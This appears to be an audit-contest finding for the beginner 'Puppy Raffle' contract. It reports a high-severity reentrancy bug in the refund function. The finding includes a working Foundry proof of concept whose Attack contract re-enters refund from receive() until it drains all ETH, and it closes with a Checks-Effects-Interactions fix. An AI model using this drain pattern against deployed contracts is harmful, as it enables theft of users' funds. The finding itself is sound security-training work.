First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

A reentrancy attack can be carried out in `puppyRaffle::refund`, allows draining all ETH from the contract.

stakog

Summary

A reentrancy attack can be carried out in puppyRaffle::refund, because the function does not check for reentrancy and it interacts before updating the storage.

Vulnerability Details

The puppyRaffle contract allows users to get a refund and cancel their participation in the raffle. When a participant calls puppyRaffle::refund with own player index, the function will check that the caller is the address in the index, and then send value via call method to that address. At this point, the callee has control over execution. Since storage hasn't been updated yet (remove player from array), an attacker can call puppyRaffle::refund again, until the puppyRaffle is drained.

Impact

This vulnerability causes all funds in the contract to be stolen.
The likelihood of it happening is high, since it is very easy to execute.

To implement the attack, we need to create an attack contract so that it will run code when the external call is made.
We also need to enter that attacking contract's address into the raffle.

Here is a working PoC:

contract AttackTests is PuppyRaffleTest {
​
// H-01
function testCanDrainContractEth() public {
​
address payable attacker = address(666);
​
// Attacker deploys the attacking contract
vm.prank(attacker);
Attack attackingContract = new Attack(puppyRaffle);
​
// Create the array of participants
address[] memory newPlayers = new address[](2);
newPlayers[0] = playerOne;
newPlayers[1] = address(attackingContract);
​
// Enter the raffle with fee required
puppyRaffle.enterRaffle{value: entranceFee * newPlayers.length}(newPlayers);
​
// Assert that the new players are registered
assertEq(puppyRaffle.players(0), playerOne);
assertEq(puppyRaffle.players(1), address(attackingContract));
// Assert that contract recieved fees
assertEq(address(puppyRaffle).balance, entranceFee * newPlayers.length);
​
// Attacker calls attacking contract
vm.prank(attacker);
attackingContract.attackRefund();
// Assert that the attacker holds all the ETH, and the contract none.
assertEq(address(attackingContract).balance, entranceFee * newPlayers.length);
assertEq(address(puppyRaffle).balance, 0);
}
}
​
​
contract Attack {
​
PuppyRaffle puppyRaffle;
​
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
}
​
function attackRefund() public {
uint256 attackerId = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(attackerId);
}
​
receive() external payable {
if (address(puppyRaffle).balance == 0) return;
uint256 attackerId = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(attackerId);
}
}

Tools Used

  • Foundry

Recommendations

Follow CEI pattern - Checks, Effects, Interactions. Update the player array before sending the value:

- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);

Another option is to use a nonReentrant modifier from a known library.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!